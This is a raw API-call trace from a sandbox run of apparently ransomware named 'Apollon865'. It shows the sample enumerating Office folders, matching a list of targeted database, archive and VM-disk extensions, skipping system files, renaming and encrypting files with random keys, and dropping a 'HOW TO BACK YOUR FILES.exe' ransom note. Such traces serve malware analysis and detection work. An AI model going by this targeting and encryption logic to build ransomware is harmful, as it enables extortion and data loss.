	[0070.450] lstrlenW (lpString="nrmlib") returned 6
	[0070.450] lstrcmpiW (lpString1="th.dll", lpString2="nrmlib") returned 1
	[0070.450] lstrlenW (lpString="ns2") returned 3
	[0070.450] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0070.450] lstrlenW (lpString="ns3") returned 3
	[0070.450] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0070.450] lstrlenW (lpString="ns4") returned 3
	[0070.450] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0070.450] lstrlenW (lpString="nsf") returned 3
	[0070.450] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0070.450] lstrlenW (lpString="nv") returned 2
	[0070.450] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0070.450] lstrlenW (lpString="nv2") returned 3
	[0070.450] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0070.450] lstrlenW (lpString="nwdb") returned 4
	[0070.450] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1
	[0070.450] lstrlenW (lpString="nyf") returned 3
	[0070.450] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0070.450] lstrlenW (lpString="odb") returned 3
	[0070.450] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0070.450] lstrlenW (lpString="odb") returned 3
	[0070.450] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0070.450] lstrlenW (lpString="oqy") returned 3
	[0070.450] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0070.450] lstrlenW (lpString="ora") returned 3
	[0070.450] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0070.450] lstrlenW (lpString="orx") returned 3
	[0070.450] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0070.451] lstrlenW (lpString="owc") returned 3
	[0070.451] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0070.451] lstrlenW (lpString="p96") returned 3
	[0070.451] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0070.451] lstrlenW (lpString="p97") returned 3
	[0070.451] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0070.451] lstrlenW (lpString="pan") returned 3
	[0070.451] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0070.451] lstrlenW (lpString="pdb") returned 3
	[0070.451] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0070.451] lstrlenW (lpString="pdm") returned 3
	[0070.451] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0070.451] lstrlenW (lpString="pnz") returned 3
	[0070.451] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0070.451] lstrlenW (lpString="qry") returned 3
	[0070.451] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0070.451] lstrlenW (lpString="qvd") returned 3
	[0070.451] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0070.451] lstrlenW (lpString="rbf") returned 3
	[0070.451] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0070.451] lstrlenW (lpString="rctd") returned 4
	[0070.451] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1
	[0070.451] lstrlenW (lpString="rod") returned 3
	[0070.451] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0070.451] lstrlenW (lpString="rodx") returned 4
	[0070.451] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1
	[0070.451] lstrlenW (lpString="rpd") returned 3
	[0070.451] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0070.451] lstrlenW (lpString="rsd") returned 3
	[0070.451] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0070.451] lstrlenW (lpString="sas7bdat") returned 8
	[0070.451] lstrcmpiW (lpString1="path.dll", lpString2="sas7bdat") returned -1
	[0070.451] lstrlenW (lpString="sbf") returned 3
	[0070.451] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0070.451] lstrlenW (lpString="scx") returned 3
	[0070.451] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0070.452] lstrlenW (lpString="sdb") returned 3
	[0070.452] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0070.452] lstrlenW (lpString="sdc") returned 3
	[0070.452] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0070.452] lstrlenW (lpString="sdf") returned 3
	[0070.452] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0070.452] lstrlenW (lpString="sis") returned 3
	[0070.452] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0070.452] lstrlenW (lpString="spq") returned 3
	[0070.452] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0070.452] lstrlenW (lpString="te") returned 2
	[0070.452] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0070.452] lstrlenW (lpString="teacher") returned 7
	[0070.452] lstrcmpiW (lpString1="ath.dll", lpString2="teacher") returned -1
	[0070.452] lstrlenW (lpString="tmd") returned 3
	[0070.452] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0070.452] lstrlenW (lpString="tps") returned 3
	[0070.452] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0070.452] lstrlenW (lpString="trc") returned 3
	[0070.452] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0070.452] lstrlenW (lpString="trc") returned 3
	[0070.452] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0070.452] lstrlenW (lpString="trm") returned 3
	[0070.452] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0070.452] lstrlenW (lpString="udb") returned 3
	[0070.452] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0070.452] lstrlenW (lpString="udl") returned 3
	[0070.452] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0070.452] lstrlenW (lpString="usr") returned 3
	[0070.452] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0070.452] lstrlenW (lpString="v12") returned 3
	[0070.452] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0070.452] lstrlenW (lpString="vis") returned 3
	[0070.452] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0070.452] lstrlenW (lpString="vpd") returned 3
	[0070.452] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0070.452] lstrlenW (lpString="vvv") returned 3
	[0070.453] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0070.453] lstrlenW (lpString="wdb") returned 3
	[0070.453] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0070.453] lstrlenW (lpString="wmdb") returned 4
	[0070.453] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1
	[0070.453] lstrlenW (lpString="wrk") returned 3
	[0070.453] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0070.453] lstrlenW (lpString="xdb") returned 3
	[0070.453] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0070.453] lstrlenW (lpString="xld") returned 3
	[0070.453] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0070.453] lstrlenW (lpString="xmlff") returned 5
	[0070.453] lstrcmpiW (lpString1="h.dll", lpString2="xmlff") returned -1
	[0070.453] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x55382ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 1
	[0070.453] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.453] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="Apollon865.txt.exe") returned 1
	[0070.453] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".") returned 1
	[0070.453] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="..") returned 1
	[0070.453] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="windows") returned -1
	[0070.453] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="bootmgr") returned 1
	[0070.453] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="temp") returned -1
	[0070.453] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="pagefile.sys") returned -1
	[0070.453] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="boot") returned 1
	[0070.453] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="ids.txt") returned 1
	[0070.453] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="ntuser.dat") returned -1
	[0070.453] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="perflogs") returned -1
	[0070.453] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="MSBuild") returned -1
	[0070.453] lstrlenW (lpString="Microsoft.Office.InfoPath.xml") returned 29
	[0070.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.Infopath.dll") returned 106
	[0070.453] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="Microsoft.Office.InfoPath.xml" | out: lpString1="Microsoft.Office.InfoPath.xml") returned="Microsoft.Office.InfoPath.xml"
	[0070.453] lstrlenW (lpString="Microsoft.Office.InfoPath.xml") returned 29
	[0070.453] lstrlenW (lpString="Apollon865") returned 10
	[0070.453] lstrcmpiW (lpString1="foPath.xml", lpString2="Apollon865") returned 1
	[0070.453] lstrlenW (lpString=".dll") returned 4
	[0070.453] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".dll") returned 1
	[0070.454] lstrlenW (lpString=".lnk") returned 4
	[0070.454] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".lnk") returned 1
	[0070.454] lstrlenW (lpString=".ini") returned 4
	[0070.454] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".ini") returned 1
	[0070.454] lstrlenW (lpString=".sys") returned 4
	[0070.454] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".sys") returned 1
	[0070.454] lstrlenW (lpString="Microsoft.Office.InfoPath.xml") returned 29
	[0070.454] lstrlenW (lpString="bak") returned 3
	[0070.454] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0070.454] lstrlenW (lpString="ba_") returned 3
	[0070.454] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0070.454] lstrlenW (lpString="dbb") returned 3
	[0070.454] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0070.454] lstrlenW (lpString="vmdk") returned 4
	[0070.454] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0070.454] lstrlenW (lpString="rar") returned 3
	[0070.454] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0070.454] lstrlenW (lpString="zip") returned 3
	[0070.454] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0070.454] lstrlenW (lpString="tgz") returned 3
	[0070.454] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0070.454] lstrlenW (lpString="vbox") returned 4
	[0070.454] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0070.454] lstrlenW (lpString="vdi") returned 3
	[0070.454] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0070.454] lstrlenW (lpString="vhd") returned 3
	[0070.454] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0070.454] lstrlenW (lpString="vhdx") returned 4
	[0070.454] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0070.454] lstrlenW (lpString="avhd") returned 4
	[0070.454] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0070.454] lstrlenW (lpString="db") returned 2
	[0070.454] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0070.454] lstrlenW (lpString="db2") returned 3
	[0070.454] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0070.454] lstrlenW (lpString="db3") returned 3
	[0070.454] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0070.455] lstrlenW (lpString="dbf") returned 3
	[0070.455] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0070.455] lstrlenW (lpString="mdf") returned 3
	[0070.455] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0070.455] lstrlenW (lpString="mdb") returned 3
	[0070.455] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0070.455] lstrlenW (lpString="sql") returned 3
	[0070.455] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0070.455] lstrlenW (lpString="sqlite") returned 6
	[0070.455] lstrcmpiW (lpString1="th.xml", lpString2="sqlite") returned 1
	[0070.455] lstrlenW (lpString="sqlite3") returned 7
	[0070.455] lstrcmpiW (lpString1="ath.xml", lpString2="sqlite3") returned -1
	[0070.455] lstrlenW (lpString="sqlitedb") returned 8
	[0070.455] lstrcmpiW (lpString1="Path.xml", lpString2="sqlitedb") returned -1
	[0070.455] lstrlenW (lpString="xml") returned 3
	[0070.455] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0070.455] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml.Apollon865") returned 117
	[0070.455] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\microsoft.office.infopath.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\microsoft.office.infopath.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\microsoft.office.infopath.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.457] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=253407) returned 1
	[0070.457] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.458] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0070.458] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0070.458] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.458] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.458] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.459] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0e0, lpName=0x0) returned 0x118
	[0070.460] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0e0) returned 0x120000
	[0070.478] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.479] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.479] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.479] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.479] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0070.480] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.480] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0070.480] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.480] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0070.482] CloseHandle (hObject=0x118) returned 1
	[0070.482] CloseHandle (hObject=0xc0) returned 1
	[0070.482] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0070.482] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0070.482] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.484] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x55382ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 0
	[0070.484] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0070.484] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fbf0
	[0070.484] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12"
	[0070.484] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a5368 | out: hHeap=0x580000) returned 1
	[0070.484] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0070.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12") returned 102
	[0070.484] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12"
	[0070.484] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.484] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.490] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.490] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42167830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42167830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0070.490] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.490] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.490] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0070.490] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42167830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42167830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.490] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.490] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0070.490] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0070.490] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0070.490] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42167830, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x42167830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0070.490] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0070.490] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x553a8c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xa770, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0070.490] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.490] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="Apollon865.txt.exe") returned 1
	[0070.490] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".") returned 1
	[0070.491] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="..") returned 1
	[0070.491] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="windows") returned -1
	[0070.491] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="bootmgr") returned 1
	[0070.491] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="temp") returned -1
	[0070.491] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="pagefile.sys") returned -1
	[0070.491] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="boot") returned 1
	[0070.491] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="ids.txt") returned 1
	[0070.491] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="ntuser.dat") returned -1
	[0070.491] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="perflogs") returned -1
	[0070.491] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="MSBuild") returned -1
	[0070.491] lstrlenW (lpString="Microsoft.Office.Infopath.dll") returned 29
	[0070.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*") returned 104
	[0070.491] lstrcpyW (in: lpString1=0x2d3e61e, lpString2="Microsoft.Office.Infopath.dll" | out: lpString1="Microsoft.Office.Infopath.dll") returned="Microsoft.Office.Infopath.dll"
	[0070.491] lstrlenW (lpString="Microsoft.Office.Infopath.dll") returned 29
	[0070.491] lstrlenW (lpString="Apollon865") returned 10
	[0070.491] lstrcmpiW (lpString1="fopath.dll", lpString2="Apollon865") returned 1
	[0070.491] lstrlenW (lpString=".dll") returned 4
	[0070.491] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".dll") returned 1
	[0070.491] lstrlenW (lpString=".lnk") returned 4
	[0070.491] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".lnk") returned 1
	[0070.491] lstrlenW (lpString=".ini") returned 4
	[0070.491] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".ini") returned 1
	[0070.491] lstrlenW (lpString=".sys") returned 4
	[0070.491] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".sys") returned 1
	[0070.491] lstrlenW (lpString="Microsoft.Office.Infopath.dll") returned 29
	[0070.491] lstrlenW (lpString="bak") returned 3
	[0070.491] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0070.491] lstrlenW (lpString="ba_") returned 3
	[0070.491] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0070.491] lstrlenW (lpString="dbb") returned 3
	[0070.491] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0070.491] lstrlenW (lpString="vmdk") returned 4
	[0070.491] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0070.491] lstrlenW (lpString="rar") returned 3
	[0070.491] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0070.491] lstrlenW (lpString="zip") returned 3
	[0070.491] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0070.492] lstrlenW (lpString="tgz") returned 3
	[0070.492] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0070.492] lstrlenW (lpString="vbox") returned 4
	[0070.492] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0070.492] lstrlenW (lpString="vdi") returned 3
	[0070.492] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0070.492] lstrlenW (lpString="vhd") returned 3
	[0070.492] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0070.492] lstrlenW (lpString="vhdx") returned 4
	[0070.492] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0070.492] lstrlenW (lpString="avhd") returned 4
	[0070.492] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0070.492] lstrlenW (lpString="db") returned 2
	[0070.492] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0070.492] lstrlenW (lpString="db2") returned 3
	[0070.492] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
